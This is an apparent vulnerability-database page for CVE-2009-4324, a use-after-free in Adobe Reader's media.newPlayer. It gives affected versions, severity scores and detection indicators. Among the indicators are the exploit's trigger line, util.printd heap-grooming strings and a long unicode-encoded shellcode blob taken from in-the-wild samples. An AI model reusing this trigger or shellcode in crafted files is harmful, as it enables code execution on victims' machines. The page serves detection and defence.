cbcvebase.
CVE-2009-4324
published 2009-12-15

CVE-2009-4324: Use-after-free vulnerability in the Doc.media.newPlayer method in Multimedia.api in Adobe Reader and Acrobat 9.x before 9.3, and 8.x before 8.2 on Windows and…

PriorityP186high7.8CVSS 3.1
AVLACLPRNUIRSUCHIHAH
KEVITWEXPLOIT
CISA Known Exploited Vulnerabilitydue 2022-06-22
Exploited in the wild
EPSS
81.81%
99.6th percentile
Use-after-free vulnerability in the Doc.media.newPlayer method in Multimedia.api in Adobe Reader and Acrobat 9.x before 9.3, and 8.x before 8.2 on Windows and Mac OS X, allows remote attackers to execute arbitrary code via a crafted PDF file using ZLib compressed streams, as exploited in the wild in December 2009.

Affected

8 ranges
VendorProductVersion rangeFixed in
adobeacrobat>= 8.0 < 8.28.2
adobeacrobat>= 9.0 < 9.39.3
adobeacrobat_reader>= 8.0 < 8.28.2
adobeacrobat_reader>= 9.0 < 9.39.3
opensuseopensuse
opensuseopensuse
suselinux_enterprise
suselinux_enterprise_debuginfo

Detection & IOCsextracted from sources · hover to see the quote

commandtry {this.media.newPlayer(null);} catch(e) {}
commandtry {this.media.newPlayer(null);} catch(e) {}util.printd("12345678901234567890123456 : 1231234", new Date());
otherClamAV Exploit.PDF-4619
otherClamAV Exploit.PDF-4620
commandutil.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
snort
SID 16333
snort
SID 16334
bytes
%uc931%u89bf%ucf5a%ub1ac%udb48%ud9ca%u2474%u5af4%uea83%u31fc%u0d7a%u7a03%ue20d%ua67c%u2527%u577e%u56b8%ub2f7%u4489%ub663%u58b8%u9ae0%u1230%u0ea4%u56c2%u2060%udc63%u0f56%ud074%uc356%u72b6%u1e2a%u54eb%ud113%u95fe%u0c54%uc4f0%u5a0d%uf8a3%u1e3a%uf878%u14ec%u82c0%ueb89%u38b5%u3b90%u3665%ua3da%u100d%ud2fa%u42c2%u9dc6%ub06f%u1fbd%u88a6%u2e3e%u4786%u9e01%u990b%u1946%uecf4%u59bc%uf689%u2307%u7255%u8395%u241e%u357d%ub3f2%u39f6%ub0bf%u5e50%u143e%u5aeb%u9bcb%ueb3b%ubf8f%ub79f%ua154%u1d86%ude3a%ufad8%u7ae3%ue993%ufdf0%u67fe%u8f06%uc185%u8f08%u6185%ube61%uee0e%u3ff6%u4ac5%u0a08%ufa47%ud381%ube12%ue3cf%ufdc9%u67e9%u7dfb%u770e%u788e%u3f4a%uf163%uaac3%ua683%ufee4%u25e0%u2f7f%ucd83%u0f1a%u4d64%u21c5%ue51f%ucb25%u60ac%u1354%u0e3f%u32ec%ua0cc%uda60%u355b%u4959%uc1fe%ue2f8%u4670%u6d94%ub604%u2f45%uf2a0%u89b9%udb0e%ub0d7%u3b3a%u5444%u5aa1%ucdf8%uf257%u6275%u4db7%uef12%u23de%u9cb3%uce54%u1722%u5cfb%uf7d6%uc46e%u996c%u7603%u36e1%u028a%ue7d9%uaf0d%uf85d
  • Detection pattern: util.printd() calls with abnormally long numeric format strings immediately before/after the media.newPlayer(null) call are used to groom the heap (use-after-free exploitation). Detect the combination of util.printd with long format strings and media.newPlayer(null).
  • PDF structure indicator: OpenAction -> JavaScript -> FlateDecode/ASCIIHexDecode filter chain in PDF objects is a strong malicious indicator for this exploit family.
  • PDF obfuscation: ASCII hex encoding of PDF object keywords (e.g. /Typ#65/#41#63t#69#6fn for /Type/Action) is used to evade signature detection; use pdf-parser.py with deobfuscation to reveal true object types.
  • JavaScript obfuscation indicators in malicious PDFs: presence of unescape(), syncAnnotScan, getAnnots, replace, randomized variable names, and large hex-encoded shellcode blobs passed to unescape().
  • Heap spray pattern: loop allocating 0x2000 (8192) array entries combining NOP sled and shellcode is used in the in-the-wild exploit.
  • Disabling JavaScript in Adobe Reader fully neutralizes this exploit, as the vulnerability is triggered entirely through the JavaScript engine.
  • DEP (Data Execution Prevention) stops in-the-wild samples seen at time of disclosure, though it is not foolproof against all variants.
  • The exploit targets Adobe Reader versions greater than 8; the JavaScript checks the viewer version before triggering the vulnerability.
  • CVE-2009-4324 was bundled in the iPack crimeware kit alongside other PDF exploits, indicating broad criminal exploitation infrastructure.
  • ·The in-the-wild exploit relies on the heap lookaside list being clean; if chunks of the target size are already present, the util.printd heap-grooming step may fail, making exploitation unreliable. No observed samples compensate for this.
  • ·util.printd is the heap-grooming primitive used in the wild but is likely not the only method to trigger the use-after-free; other primitives may exist.
  • ·The exploit uses ZLib (FlateDecode) compressed streams to obfuscate the malicious JavaScript payload, requiring decompression during analysis.

CVSS provenance

nvdv3.17.8HIGHCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
nvdv2.09.3CRITICALAV:N/AC:M/Au:N/C:C/I:C/A:C
vulncheck7.8HIGH
cisa7.8HIGH
vendor_redhat7.8HIGH
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.